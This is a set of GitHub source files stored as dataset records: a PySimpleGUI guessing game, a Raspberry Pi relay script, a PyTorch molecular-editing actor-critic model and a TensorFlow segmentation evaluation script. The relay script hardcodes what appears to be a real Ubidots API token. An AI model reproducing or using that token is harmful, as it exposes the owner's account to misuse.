sg.read_all_windows()\r\n    if window == janela3 and event == sg.WIN_CLOSED:\r\n        break\r\n    elif window == janela3 and event == 'Sair':\r\n        break\r\n    if window == janela2 and event == sg.WIN_CLOSED:\r\n        break\r\n    elif window == janela2 and event == 'Sair':\r\n        break\r\n    if window == janela1 and event == sg.WIN_CLOSED:\r\n        break\r\n\r\n    #conferir o numero\r\n\r\n    if window == janela1 and event == 'Chutar':\r\n        if values['chute'] == ns:\r\n            janela1.hide()\r\n            janela2 = Tela_certo()\r\n        elif values['chute'] != ns:\r\n            if values['chute'] > ns:\r\n                sg.popup('Chute maior que o numero secreto.')\r\n            else:\r\n                sg.popup('Chute menor que o numero secreto')\r\n            janela1.hide()\r\n            janela3 = Tela_erro()\r\n            contador += 1\r\n\r\n    if window == janela3 and event == 'Novo Chute':\r\n        if values['nChute'] == ns:\r\n            janela3.hide()\r\n            janela2 = Tela_certo()\r\n        if values['nChute'] != ns:\r\n            contador += 1\r\n            if values['nChute'] > ns:\r\n                sg.popup('Chute maior que o numero secreto.')\r\n            elif values['nChute'] < ns:\r\n                sg.popup('Chute menor que o numero secreto')\r\n","repo_name":"JotaDuarte/mentalista_com_tela","sub_path":"MentalistaComTela.py","file_name":"MentalistaComTela.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24885633952","text":"import time\nimport RPi.GPIO as GPIO\nfrom ubidots import ApiClient\n\n# Konfigurasi pin Relay pada Raspberry Pi\nrelay_pin = 17\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(relay_pin, GPIO.OUT)\n\n# Konfigurasi API Ubidots\napi = ApiClient(\"BBFF-R7ydNyQLvtvBFdtSwZ5sbSJnrGqnad\")  # Ganti dengan API key Anda\n\n# Ubah \"YOUR_DEVICE_LABEL\" dan \"YOUR_VARIABLE_LABEL\" dengan label Device dan Variable yang sudah dibuat di Ubidots\ndevice = api.get_device(\"Demo\")\nvariable = device.get_variable(\"tombol\")\n\ndef turn_on_relay():\n    GPIO.output(relay_pin, GPIO.HIGH)\n    print(\"Relay turned ON\")\n    variable.save_value(1)  # Kirim nilai 1 ke Ubidots\n\ndef turn_off_relay():\n    GPIO.output(relay_pin, GPIO.LOW)\n    print(\"Relay turned OFF\")\n    variable.save_value(0)  # Kirim nilai 0 ke Ubidots\n\nif __name__ == \"__main__\":\n    try:\n        while True:\n            # Contoh penggunaan: Hidupkan Relay selama 5 detik, kemudian matikan selama 5 detik.\n            turn_on_relay()\n            time.sleep(1)\n            turn_off_relay()\n            time.sleep(1)\n\n    except KeyboardInterrupt:\n        GPIO.cleanup()\n","repo_name":"Wildan236/backupraspiwldn","sub_path":"relay/relay-ubidots.py","file_name":"relay-ubidots.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43139949734","text":"\nfrom torch.distributions import Categorical\n\n\nimport dgl\n\nimport torch.nn.functional as F\nfrom dgl.nn.pytorch.glob import Set2Set\n\nfrom torch.nn.utils.rnn import pad_sequence\nimport sys\n\nsys.path.append('.')\n\nfrom MARS.common.nn import GraphEncoder, MLP\nfrom MARS.common.chem import mol_to_dgl\n\nimport torch\nimport torch.nn as nn\nfrom abc import ABC, abstractmethod\nfrom rdkit import Chem\nfrom MARS.common.nn import masked_softmax, compute_loss_prob\n\n\nclass Editor(ABC, nn.Module):\n    def __init__(self, config):\n        super().__init__()\n        self.device = config['device']\n        self.encoders = nn.ModuleDict()\n        for name in ['act', 'del', 'add', 'arm']:\n            encoder = GraphEncoder(\n                config['n_atom_feat'], config['n_node_hidden'],\n                config['n_bond_feat'], config['n_edge_hidden'], config['n_layers'])\n            self.encoders[name] = encoder\n        self.edge_mlp = MLP(config['n_bond_feat'], config['n_edge_hidden'])\n\n    @abstractmethod\n    def predict_act(self, g, h_node):\n        raise NotImplementedError\n\n    @abstractmethod\n    def predict_del(self, g, h_node):\n        raise NotImplementedError\n\n    @abstractmethod\n    def predict_add(self, g, h_node):\n        raise NotImplementedError\n\n    @abstractmethod\n    def predict_arm(self, g, h_node):\n        raise NotImplementedError\n\n    def forward(self, g):\n        '''\n        @params:\n            g: dgl.batch of molecular skeleton graphs\n        @return:\n            pred_act: action (del or add) prediction, torch.FloatTensor of shape (batch_size, 2)\n            pred_del: bond breaking prediction,       torch.FloatTensor of shape (tot_n_edge, 1)\n            pred_add: place to add arm,               torch.FloatTensor of shape (tot_n_node, 1)\n            pred_arm: arm from vocab to add,          torch.FloatTensor of shape (tot_n_node, vocab_size)\n        '''\n        with torch.no_grad():\n            g = g.to(self.device)\n            x_node = g.ndata['n_feat'].to(self.device)\n            x_edge = g.edata['e_feat'].to(self.device)\n\n        ### encode graph nodes\n        encoded = {}\n        for name, encoder in self.encoders.items():\n            encoded[name] = encoder(g, x_node, x_edge)\n\n        pred_act = self.predict_act(g, encoded['act'])\n        pred_del = self.predict_del(g, encoded['del'])\n        pred_add = self.predict_add(g, encoded['add'])\n        pred_arm = self.predict_arm(g, encoded['arm'])\n        return pred_act, pred_del, pred_add, pred_arm\n\n\nclass Actor(Editor):\n    def __init__(self, config):\n        super().__init__(config)\n        self.set2set = Set2Set(config['n_node_hidden'], n_iters=6, n_layers=2)\n        self.cls_act = MLP(config['n_node_hidden'] * 2, 2)\n        self.cls_del = MLP(config['n_node_hidden'] * 2 + config['n_edge_hidden'], 1)\n        self.cls_add = MLP(config['n_node_hidden'], 1)\n        self.cls_arm = MLP(config['n_node_hidden'], config['vocab_size'])\n        self.vocab_size = config['vocab_size']\n\n    def predict_act(self, g, h_node):\n        h = self.set2set(g, h_node)\n        return self.cls_act(h)\n\n    def predict_del(self, g, h_node):\n        with torch.no_grad():\n            x_edge = g.edata['e_feat'].to(self.device)\n\n        h_u = h_node[g.edges()[0], :]  # (n_edges, n_node_hidden)\n        h_v = h_node[g.edges()[1], :]  # (n_edges, n_node_hidden)\n        h_edge = self.edge_mlp(x_edge)\n        h_edge = torch.cat([h_u, h_edge, h_v], dim=1)  # (n_edges, n_node_hidden*2+n_edge_hidden)\n        return self.cls_del(h_edge)\n\n    def predict_add(self, g, h_node):\n        return self.cls_add(h_node)\n\n    def predict_arm(self, g, h_node):\n        return self.cls_arm(h_node)\n\n\n    def get_prob(self, graphs, mask = True):\n        '''\n        get probability of editing actions\n        @params:\n            graphs : molecular graphs, DGLGraphs batch\n        @return:\n            prob_act (list): batch_size * (2,)\n            prob_del (list): batch_size *(n_edge,)\n            prob_add (list): batch_size*( n_node,)\n            prob_arm (list): batch_size *( n_node, vocab_size)\n            p_global (list): batch_size * (n_edges + n_node*vocab_size,)\n        '''\n        with torch.no_grad():\n            if mask :\n                mask_edges = (graphs.edata['e_feat'].argmax(dim = 1) ==0).long().to(self.device)\n                mask_nodes = (graphs.ndata['n_feat'][:,-1]>0).long().to(self.device)\n            else :\n                mask_edges = (graphs.edata['e_feat'].argmax(dim=1) >=0).long().to(self.device)\n                mask_nodes = (graphs.ndata['n_feat'][:, -1] >=0).long().to(self.device)\n        pred_act, pred_del, pred_add, pred_arm = self(graphs)\n\n\n        pred_arm = F.softmax(pred_arm, dim =1)  # (tot_n_node, vocab_size)\n\n        # prob_act = [p for p in pred_act]\n        prob_act, prob_del, prob_add, prob_arm = [], [], [], []\n        off_edge, off_node = 0, 0\n        prob_global_act = []\n        graphs = dgl.unbatch(graphs)\n        for i,g in enumerate(graphs):\n            n_edge = g.number_of_edges()\n            n_node = g.number_of_nodes()\n            p_del = pred_del[off_edge:off_edge + n_edge][:, 0].unsqueeze(0)  # (1, n_edges)\n            p_add = pred_add[off_node:off_node + n_node][:, 0].unsqueeze(0)  # (1, n_node)\n\n\n            mask_bond = mask_edges[off_edge:off_edge + n_edge].unsqueeze(0) # (1, n_edges)\n            mask_atoms = mask_nodes[off_node:off_node + n_node].unsqueeze(0) # (1, n_node)\n            mask_act = torch.LongTensor([mask_bond.sum() > 0, mask_atoms.sum() > 0]).to(self.device)\n            if mask_act.sum().item()==0 :  #### we can't apply a mask\n                print('no mask')\n                mask_bond = torch.ones_like(mask_bond).to(self.device)\n                mask_atoms = torch.ones_like(mask_atoms).to(self.device)\n                mask_act = torch.LongTensor([1, 1]).to(self.device)\n\n            p_del = masked_softmax(p_del, mask_bond).squeeze(0)  # ( n_edges,)\n            p_add = masked_softmax(p_add, mask_atoms).squeeze(0)  # ( n_node,)\n            p_arm = pred_arm[off_node:off_node + n_node]  # (n_node, vocab_size)\n            prob_del.append(p_del)\n            prob_add.append(p_add)\n            prob_arm.append(p_arm)\n            off_edge += n_edge\n            off_node += n_node\n\n\n            p_act = masked_softmax(pred_act[i].unsqueeze(0), mask_act).squeeze(0)  # (2,)\n\n            p_global_act = self.conditional_distribution2global_distribution(p_act, p_del, p_add, p_arm)\n\n            prob_global_act.append(p_global_act)\n            prob_act.append(p_act)\n\n            ####check global size\n            assert  p_global_act.shape[0] == n_edge + n_node * self.vocab_size\n\n        return prob_act, prob_del, prob_add, prob_arm, prob_global_act\n\n\n\n    def conditional_distribution2global_distribution(self, p_act, p_del, p_add, p_arm):\n\n        \"\"\"\n        :param p_act:  proba del or add a fragment ([p_del,p_add])   (Batchsize = 1 , 2)\n        :param p_del: distribution of del idx                    (n tot edges , 1)\n        :param p_add: distribution of add idx                    (n tot nodes, 1)\n        :param p_arm: distribution of arm idx according add idx  (n tot nodes. vocab size)\n        :return: p_global: global distribution of act idx    (n_edges + n_nodes* vocab_size, )\n        \"\"\"\n        ##### get shape informations\n        with torch.no_grad():\n            n_edges = p_del.shape[-1]\n            n_nodes = p_add.shape[-1]\n            vocab_size = p_arm.shape[1]\n            section = torch.LongTensor([n_edges, n_nodes*vocab_size]).to(self.device)\n\n\n        p_act = p_act.squeeze()\n        p_del = p_del.squeeze()\n        p_add = p_add.squeeze()\n        p_arm = p_arm.view(-1,)\n\n        p_act_global = torch.repeat_interleave(p_act, section)\n        p_add_global = torch.repeat_interleave(p_add, vocab_size)\n        p_add_arm_global = p_add_global * p_arm\n        p_global = p_act_global * torch.cat([p_del, p_add_arm_global], dim=0)\n\n        return p_global\n\n\n    def conditional_idx2global_idx(self, act_index,del_idx, add_idx, arm_idx, p_del):\n\n        if act_index== 0:\n            return del_idx\n        else :\n            return  p_del.shape[0] + add_idx * self.vocab_size + arm_idx\n\n\n    def global_idx2conditional_idx(self, global_action_idx, p_del):\n\n        \"\"\"\n        :param global_idx: global idx of act, del, add, arm\n        :param p_del: distribution of del idx                    (n tot edges , 1)\n        \"\"\"\n        if global_action_idx < p_del.shape[0]:\n            return 0, global_action_idx, 0, 0\n\n        else:\n\n            add_idx = (global_action_idx - p_del.shape[0]) // self.vocab_size\n            arm_idx = (global_action_idx - p_del.shape[0]) % self.vocab_size\n        return 1, 0, add_idx, arm_idx\n\n\n    def conditional_loss(self, batch, metrics=['loss']):\n        g, edits = batch\n        for key in edits.keys():\n            edits[key] = edits[key].to(self.device)\n        pred_act, pred_del, pred_add, pred_arm = self(g.to(self.device))\n\n        act_criterion = nn.CrossEntropyLoss()\n        loss_act = act_criterion(pred_act, edits['act'])\n\n\n        ### targets and masks\n        n_node = g.number_of_nodes()\n        n_edge = g.number_of_edges()\n        off_node, off_edge = 0, 0\n        prob_del, prob_add, prob_arm = [], [], []\n        loss_add = 0\n        loss_del = 0\n        loss_arm = 0\n        n_add = 0\n        n_del = 0\n        n_arm =0\n        for i, g in enumerate(dgl.unbatch(g)):\n            n_node = g.number_of_nodes()\n            n_edge = g.number_of_edges()\n            del_idx = edits['del'][i].item()\n            add_idx = edits['add'][i].item()\n            arm_idx = edits['arm'][i].item()\n            if edits['act'][i].item() == 0:  # del\n                pred_del_i = pred_del[off_edge : off_edge + n_edge,0].unsqueeze(0)\n                loss_del += F.cross_entropy(pred_del_i, torch.LongTensor([del_idx]).to(self.device))\n                n_del +=1\n\n            else:  # add\n\n                pred_add_i = pred_add[off_node : off_node + n_node,0].unsqueeze(0)\n                loss_add += F.cross_entropy(pred_add_i, torch.LongTensor([add_idx]).to(self.device))\n\n                pred_arm_i = pred_arm[off_node : off_node +n_node,:][add_idx].unsqueeze(0)\n                loss_arm += F.cross_entropy(pred_arm_i, torch.LongTensor([arm_idx]).to(self.device))\n                n_add+=1\n                n_arm+=1\n\n\n            off_node += n_node\n            off_edge += n_edge\n\n        loss = loss_act + loss_add/(n_add + 1e-6) + loss_arm/(n_arm + 1e-6) + loss_del/(n_del + 1e-6)\n        local_vars = locals()\n        metric_values = [local_vars[metric] for metric in metrics]\n        return g.batch_size, metric_values\n\n    def global_act_loss(self, batch, metrics=['loss']):\n        g, edits = batch\n        for key in edits.keys():\n            edits[key] = edits[key].to(self.device)\n        p_act, p_del, p_add, p_arm, p_global = self.get_prob(g.to(self.device),mask =False)\n        p_global = pad_sequence(p_global, batch_first=True)\n        loss = compute_loss_prob(p_global, edits['global_act'])\n        local_vars = locals()\n        metric_values = [local_vars[metric] for metric in metrics]\n        return  g.batch_size, metric_values\n\n\nclass Critic(nn.Module):\n    def __init__(self, config):\n        super().__init__()\n        self.device = config['device']\n\n        self.encoder = GraphEncoder(config['n_atom_feat'], config['n_node_hidden'],\n                                    config['n_bond_feat'], config['n_edge_hidden'], config['n_layers'])\n        self.set2set = Set2Set(config['n_node_hidden'], n_iters=6, n_layers=2)\n        self.mlp_value = MLP(2* config['n_node_hidden'], 1)\n\n    def forward(self, g):\n        '''\n        @params:\n            g: dgl.batch of molecular skeleton graphs\n        @return:\n            value (batch_size, 1)\n        '''\n        with torch.no_grad():\n            g = g.to(self.device)\n            x_node = g.ndata['n_feat'].to(self.device)\n            x_edge = g.edata['e_feat'].to(self.device)\n\n        ### encode graph nodes\n        h_nodes = self.encoder(g, x_node, x_edge)\n\n        h_graph = self.set2set(g, h_nodes)\n        return self.mlp_value(h_graph)\n\n\n\nclass ActorCritic(nn.Module):\n    def __init__(self, actor, critic):\n        super(ActorCritic, self).__init__()\n\n        self.actor = actor\n        self.critic = critic\n        self.vocab_size = actor.vocab_size\n\n\n    def act(self, state):\n\n        \"\"\"\n\n        :param state: dgl graph\n        :return: action, action_logprob   ##### curt gradient line\n        \"\"\"\n        prob_act, prob_del, prob_add, prob_arm, prob_global_act = self.actor.get_prob(dgl.batch([state]))\n\n        prob_global_act = prob_global_act[0]\n\n        dist_action = Categorical(prob_global_act)\n\n        global_action_idx = dist_action.sample()\n        log_prob_global_action = dist_action.log_prob(global_action_idx).detach()\n\n        global_action_idx = global_action_idx.item()\n\n        act_idx, del_idx, add_idx, arm_idx = self.actor.global_idx2conditional_idx(global_action_idx, p_del=prob_del[0])\n\n        action_dict = {'act': act_idx, 'del': del_idx, 'add': add_idx, 'arm': arm_idx, 'global_act': global_action_idx}\n\n\n        return global_action_idx,  log_prob_global_action.item(), action_dict\n\n\n\n    def evaluate(self, state, action, mask= True):\n        \"\"\"\n\n        :param state: batched dgl graphs\n        :param action: global_action\n        :return: log_prob_global_action, state_value, entropy\n        \"\"\"\n        prob_act, prob_del, prob_add, prob_arm, prob_global_act = self.actor.get_prob(state, mask= mask)\n\n        list_prob_padded = pad_sequence(prob_global_act, batch_first=True)\n        dist_global_action = Categorical(list_prob_padded)\n        log_prob_global_action = dist_global_action.log_prob(action)\n        entropy = dist_global_action.entropy()\n\n        state_value = self.critic(state)\n\n        return log_prob_global_action, state_value, entropy\n\n\n\n\n\n\n\n\n\n\n\n\n    #\n    # def evaluate_one_graph(self, state, action):\n    #\n    #     \"\"\"\n    #     :param state: dgl graph\n    #     :param action: dictionary of actions\n    #     :return: action_logprobs, state_values, dist_entropy\n    #     \"\"\"\n    #\n    #     act, del_idx, add_idx, arm_idx = action['act'], action['del'], action['add'], action['arm']\n    #     ####tensorize\n    #     with torch.no_grad():\n    #         device = state.device\n    #         act = torch.tensor(act, dtype= torch.long).to(device)\n    #         del_idx = torch.tensor(del_idx, dtype= torch.long).to(device)\n    #         add_idx = torch.tensor(add_idx, dtype= torch.long).to(device)\n    #         arm_idx = torch.tensor(arm_idx, dtype= torch.long).to(device)\n    #         print('act', act)\n    #\n    #     act_prob, idx_del_prob, idx_add_prob, idx_arm_prob = self.actor.get_prob_one_graph(state)\n    #\n    #     dist_act = Categorical(act_prob.squeeze())\n    #     dist_del = Categorical(idx_del_prob.squeeze())\n    #     dist_add = Categorical(idx_add_prob.squeeze())\n    #     dist_arm = Categorical(idx_arm_prob[add_idx].squeeze())\n    #\n    #     act_logprob = dist_act.log_prob(act)\n    #     del_idx_logprob = dist_del.log_prob(del_idx)\n    #\n    #     add_idx_logprob = dist_add.log_prob(add_idx)\n    #\n    #     arm_idx_logprob = dist_arm.log_prob(arm_idx)\n    #\n    #     if act == 0 :\n    #         action_logprobs = act_logprob + del_idx_logprob\n    #\n    #     elif act == 1 :\n    #         action_logprobs = act_logprob + add_idx_logprob + arm_idx_logprob\n    #\n    #     else :\n    #         NotImplementedError\n    #\n    #\n    #     global_prob = self.conditional_distribution2global_distribution(act_prob, idx_del_prob, idx_add_prob, idx_arm_prob)\n    #     global_dist = Categorical(global_prob)\n    #     dist_entropy = global_dist.entropy()\n    #\n    #     global_action_idx = self.action_dict2global_action_idx(action,state)\n    #     with torch.no_grad() :\n    #         global_action_idx = torch.tensor(global_action_idx)\n    #     global_action_logprob = global_dist.log_prob(global_action_idx)\n    #\n    #     state_values = self.critic(state)\n    #\n    #\n    #     return action_logprobs, state_values, dist_entropy\n    #\n    #\n    #\n    #\n    #\n    # def evaluate (self, states, global_act_idx_batch):\n    #\n    #     \"\"\"\n    #     :param states: batch dgl graph\n    #     :param global_act_idx_batch: tensor action idx batch (batch, ) range(0, max(nb_edges) + max(nb_nodes) * vocab_size -1)\n    #     :return: action_logprobs, state_values, dist_entropy\n    #     \"\"\"\n    #\n    #\n    #\n    #     _, _, _,_, global_act_prob = self.actor.get_prob(states)\n    #\n    #     global_act_prob = pad_sequence(global_act_prob, batch_first= True)\n    #     global_dist = Categorical(global_act_prob)\n    #     dist_entropy = global_dist.entropy()\n    #\n    #     global_action_logprob = global_dist.log_prob(global_act_idx_batch)\n    #\n    #     state_values = self.critic(states)\n    #\n    #\n    #     return global_action_logprob, state_values, dist_entropy\n\n\n\n\n\n\nif __name__ == '__main__':\n    pred = torch.randn(size= (10,7))\n    mask = torch.randint(0,2, size = (10,7))\n\n    config = {\n        'device': 'cpu',\n        'n_atom_feat': 16,\n        'n_node_hidden': 64,\n        'n_bond_feat': 4,\n        'n_edge_hidden': 128,\n        'n_layers': 6,\n        'vocab_size': 10,\n        'batch_size': 128\n    }\n    actor = Actor(config)\n    with open('mol_test.txt', 'r') as f:\n        mols = f.readlines()\n\n    mols = [Chem.MolFromSmiles(smi.split(',')[0]) for smi in mols if Chem.MolFromSmiles(smi.split(',')[0])]\n\n    graphs = [mol_to_dgl(mol) for mol in mols]\n    graphs = dgl.batch(graphs)\n    prob_act_mask, prob_del_mask, prob_add_mask, prob_arm_mask, prob_global_act = actor.get_prob(graphs)\n    prob_act, prob_del, prob_add, prob_arm, prob_global_act = actor.get_prob(graphs, mask=False)\n    for i in range(len(prob_act)):\n        print('act mask',prob_act_mask[i])\n        print('act mask', prob_act[i])\n        print('add mask',prob_add_mask[i])\n        print('add',prob_add[i])\n        print('del mask', prob_del_mask[i])\n        print('del ', prob_del[i])\n\n    from environment import Environement\n    from MARS.common.utils import sample_idx\n    env = Environement()\n    env.current_graph = dgl.unbatch(graphs)[0]\n    env.current_mol = mols[0]\n    state = env.current_graph\n    for i in range(100):\n        prob_act_mask, prob_del_mask, prob_add_mask, prob_arm_mask, prob_global_act = actor.get_prob(dgl.batch([state]))\n        print('act mask', prob_act_mask)\n        print('del mask', prob_del_mask)\n        print('add mask', prob_add_mask)\n        print('arm mask', prob_arm_mask)\n        print(prob_act_mask[0].tolist())\n        print('act', prob_act[0].tolist())\n        act = sample_idx(prob_act_mask[0].tolist())\n        del_idx = sample_idx(prob_del_mask[0].tolist())\n        add_idx = sample_idx(prob_add_mask[0].tolist())\n        arm_idx = sample_idx(prob_arm_mask[0].tolist()[add_idx])\n        action = {\n            'act' :act,\n            'add' : add_idx,\n            'arm' : arm_idx,\n            'del' : del_idx\n        }\n        print(action)\n        state, _ = env.next_step(action)\n\n\n\n","repo_name":"VincentH23/scaffold","sub_path":"actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":19121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12056106655","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 01.09.2022\n@author: eschlager\n\nEvaluation of multiple models from cross validation on tiles of evaluation set;\nused after training in train_unet.py\n\n\"\"\"\n\nimport os\nimport sys\n\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nimport argparse\nimport pandas as pd\nimport numpy as np\nfrom copy import deepcopy\nimport pickle\n\nmatplotlib.use('Agg')\n\nscript_dir = os.path.abspath(os.path.dirname(__file__))\nsys.path.append(os.path.sep.join([script_dir, '..', 'src']))\nimport utils\nfrom data_loader import DataLoader\n\nhome_dir = os.path.abspath(os.path.join(script_dir, '..'))\n\n\ndef main(gpu_id, model_path, data_path):\n    os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpu_id)\n\n    # directory of models to evaluate\n    model_dir = os.path.join(home_dir, model_path)\n    print(f\"Make evaluation for model: {model_dir}\")\n    models_nr = len([name for name in os.listdir(model_dir) if os.path.isdir(os.path.join(model_dir, name)) if\n                     name.startswith('trained_model_fold')])\n    print(f\"  evaluate {models_nr} model folds...\")\n\n    # directory of data used for evaluation\n    data_dir = os.path.join(home_dir, data_path)\n    print(f\"Make evaluation for data in : {data_dir}\")\n\n    # directory to save evaluation\n    out_dir = os.path.join(home_dir, 'evaluation',\n                           'model_' + os.path.basename(os.path.normpath(model_dir)),\n                           'tiles_' + os.path.basename(os.path.normpath(data_dir)))\n    os.makedirs(out_dir, exist_ok=True)\n\n    # load configurations and data\n    model_args = pickle.load(open(os.path.join(model_dir, \"arguments.pkl\"), 'rb'))\n    tile_size = int(data_dir.split(\"_\")[-1])\n    wear_mode = model_args[\"wear_mode\"]\n    data = DataLoader(data_dir, tile_size, wear_mode)\n    images, masks = data.load_imgs_and_masks()\n\n    # load multi class masks\n    if wear_mode == 3:\n        masks_multi = masks.copy()\n    else:\n        data_multi = DataLoader(data_dir, tile_size, 3)\n        _, masks_multi = data_multi.load_imgs_and_masks()\n\n    num_classes = data.nr_classes\n    scores = {'IOU': [], 'Dice': [], 'TPR': [], 'TNR': []}\n    if num_classes > 1:\n        scores_macro = deepcopy(scores)\n        scores_micro = deepcopy(scores)\n        scores_classes_joined = {'IOU': [], 'Dice': [], 'TPR': [], 'TNR': [], 'FNBGR_0': [], 'FNBGR_1': []}\n        samples_avg = 'macro'\n    else:\n        samples_avg = ''\n        scores = {'IOU': [], 'Dice': [], 'TPR': [], 'TNR': [], 'FNBGR_0': [], 'FNBGR_1': []}\n\n    iou_samples = {}\n    tpr_samples = {}\n    tnr_samples = {}\n\n    for ifold in range(0, models_nr):\n        print(f\"\\nMake predictions for model fold {ifold}...\")\n        model_fold_dir = os.path.join(model_dir, f'trained_model_fold{ifold:02}.tf')\n\n        model = tf.keras.models.load_model(model_fold_dir, compile=False)\n        _, pred_cat = utils.predict_cat(model, images, batch_size=1)\n\n        print(f\"Calculate {samples_avg} scores per sample...\")\n        iou_samples[ifold] = utils.intersection_over_union(masks, pred_cat, average=samples_avg, reduce=False)\n        tpr_samples[ifold] = utils.sensitivity(masks, pred_cat, average=samples_avg, reduce=False)\n        tnr_samples[ifold] = utils.specificity(masks, pred_cat, average=samples_avg, reduce=False)\n\n        print(\"Plot predicted masks...\")\n        for idx, (img, mask, pred) in enumerate(zip(images, masks, pred_cat)):\n            fig = utils.plot_image_vs_mask_vs_pred(img, mask, pred, wear_mode)\n            plt.savefig(os.path.join(out_dir, f'predicted_fold{ifold:02}_{idx:02}.jpg'), bbox_inches='tight')\n            plt.close(fig)\n\n        print(\"Calculate scores...\")  # if multi class, this scores are per class\n        scores['IOU'].append(utils.intersection_over_union(masks, pred_cat, average=None))\n        scores['Dice'].append(utils.dice_coef(masks, pred_cat, average=None))\n        scores['TPR'].append(utils.sensitivity(masks, pred_cat, average=None))\n        scores['TNR'].append(utils.specificity(masks, pred_cat, average=None))\n\n        print(\"Calculate FNBGR...\")\n        masks_0 = masks_multi[:, :, :, 1:2]\n        masks_1 = masks_multi[:, :, :, 2:3]\n        if num_classes > 1:\n            pred_cat_bg = pred_cat[:, :, :, 0:1]\n        else:\n            pred_cat_bg = 1 - pred_cat\n        fbgbr0 = (masks_0 * pred_cat_bg).sum(axis=(1, 2, 3)) / masks_0.sum(axis=(1, 2, 3))\n        fbgbr1 = (masks_1 * pred_cat_bg).sum(axis=(1, 2, 3)) / masks_1.sum(axis=(1, 2, 3))\n\n        if num_classes > 1:\n            masks_nobg = 1 - masks[:, :, :, :1]\n            pred_cat_nobg = 1 - pred_cat[:, :, :, :1]\n            print(\"Calculate scores with all wear classes taken as one (e.g., transform to binary)...\")\n            print(\"shape masks: \", masks_nobg.shape)\n            print(\"shape predictions: \", pred_cat_nobg.shape)\n            scores_classes_joined['IOU'].append(\n                utils.intersection_over_union(masks_nobg, pred_cat_nobg, average=None))\n            scores_classes_joined['Dice'].append(utils.dice_coef(masks_nobg, pred_cat_nobg, average=None))\n            scores_classes_joined['TPR'].append(utils.sensitivity(masks_nobg, pred_cat_nobg, average=None))\n            scores_classes_joined['TNR'].append(utils.specificity(masks_nobg, pred_cat_nobg, average=None))\n            scores_classes_joined['FNBGR_0'].append(np.nanmean(fbgbr0))\n            scores_classes_joined['FNBGR_1'].append(np.nanmean(fbgbr1))\n\n            print(\"Calculate macro average scores...\")\n            scores_macro['IOU'].append(utils.intersection_over_union(masks, pred_cat, average='macro'))\n            scores_macro['Dice'].append(utils.dice_coef(masks, pred_cat, average='macro'))\n            scores_macro['TPR'].append(utils.sensitivity(masks, pred_cat, average='macro'))\n            scores_macro['TNR'].append(utils.specificity(masks, pred_cat, average='macro'))\n\n            print(\"Calculate micro average scores...\")\n            scores_micro['IOU'].append(utils.intersection_over_union(masks, pred_cat, average='micro'))\n            scores_micro['Dice'].append(utils.dice_coef(masks, pred_cat, average='micro'))\n            scores_micro['TPR'].append(utils.sensitivity(masks, pred_cat, average='micro'))\n            scores_micro['TNR'].append(utils.specificity(masks, pred_cat, average='micro'))\n        else:\n            scores['FNBGR_0'].append(np.nanmean(fbgbr0))\n            scores['FNBGR_1'].append(np.nanmean(fbgbr1))\n\n    print(f\"Save scores to {out_dir}\")\n    with pd.ExcelWriter(os.path.join(out_dir, f\"model_scores.xlsx\")) as writer:\n        if num_classes == 1:\n            df_scores = pd.DataFrame(scores, dtype=float)\n            if models_nr > 1:\n                df_scores.loc['mean', :] = df_scores.mean(axis=0)\n                df_scores.loc['std', :] = df_scores.std(axis=0)\n            df_scores.to_excel(writer, sheet_name='scores', float_format=\"%.4f\")\n        else:\n            df_classes_joined = pd.DataFrame(scores_classes_joined, dtype=float)\n            if models_nr > 1:\n                df_classes_joined.loc['mean', :] = df_classes_joined.mean(axis=0)\n                df_classes_joined.loc['std', :] = df_classes_joined.std(axis=0)\n            df_classes_joined.to_excel(writer, sheet_name='results_classes_joined', float_format=\"%.4f\")\n\n            df_macro = pd.DataFrame(scores_macro)\n            if models_nr > 1:\n                df_macro.loc['mean', :] = df_macro.mean(axis=0)\n                df_macro.loc['std', :] = df_macro.std(axis=0)\n            df_macro.to_excel(writer, sheet_name='results_macro', float_format=\"%.4f\")\n\n            df_micro = pd.DataFrame(scores_micro)\n            if models_nr > 1:\n                df_micro.loc['mean', :] = df_micro.mean(axis=0)\n                df_micro.loc['std', :] = df_micro.std(axis=0)\n            df_micro.to_excel(writer, sheet_name='results_micro', float_format=\"%.4f\")\n\n            df_class = pd.DataFrame()\n            for key in scores.keys():\n                df_key = pd.DataFrame(scores[key])\n                df_key.columns = [key + '_' + str(nr) for nr in df_key.columns]\n                df_class = df_class.join(df_key, how='outer')\n            if models_nr > 1:\n                df_class.loc['mean', :] = df_class.mean(axis=0)\n                df_class.loc['std', :] = df_class.std(axis=0)\n            df_class.to_excel(writer, sheet_name='results_class', float_format=\"%.4f\")\n\n    print(\"Plot Boxplots of (macro average if multiclass) score distributions...\")\n\n    fig, ax = plt.subplots(figsize=(6, 4))\n    plt.boxplot(iou_samples.values())\n    plt.xticks(range(1, len(iou_samples.keys()) + 1), iou_samples.keys())\n    ax.set_ylim([0, 1.01])\n    plt.ylabel('IoU ' + samples_avg)\n    plt.tight_layout()\n    plt.savefig(os.path.join(out_dir, f'boxplot_iou{samples_avg}.jpg'), bbox_inches='tight')\n    plt.close()\n\n    fig, ax = plt.subplots(figsize=(6, 4))\n    plt.boxplot(tpr_samples.values())\n    plt.xticks(range(1, len(tpr_samples.keys()) + 1), tpr_samples.keys())\n    ax.set_ylim([0, 1.01])\n    plt.ylabel('Sensitivity ' + samples_avg)\n    plt.tight_layout()\n    plt.savefig(os.path.join(out_dir, f'boxplot_sensitivity{samples_avg}.jpg'), bbox_inches='tight')\n    plt.close()\n\n    fig, ax = plt.subplots(figsize=(6, 4))\n    plt.boxplot(tnr_samples.values())\n    plt.xticks(range(1, len(tnr_samples.keys()) + 1), tnr_samples.keys())\n    ax.set_ylim([0, 1.01])\n    plt.ylabel('Specificity ' + samples_avg)\n    plt.tight_layout()\n    plt.savefig(os.path.join(out_dir, f'boxplot_specificity{samples_avg}.jpg'), bbox_inches='tight')\n    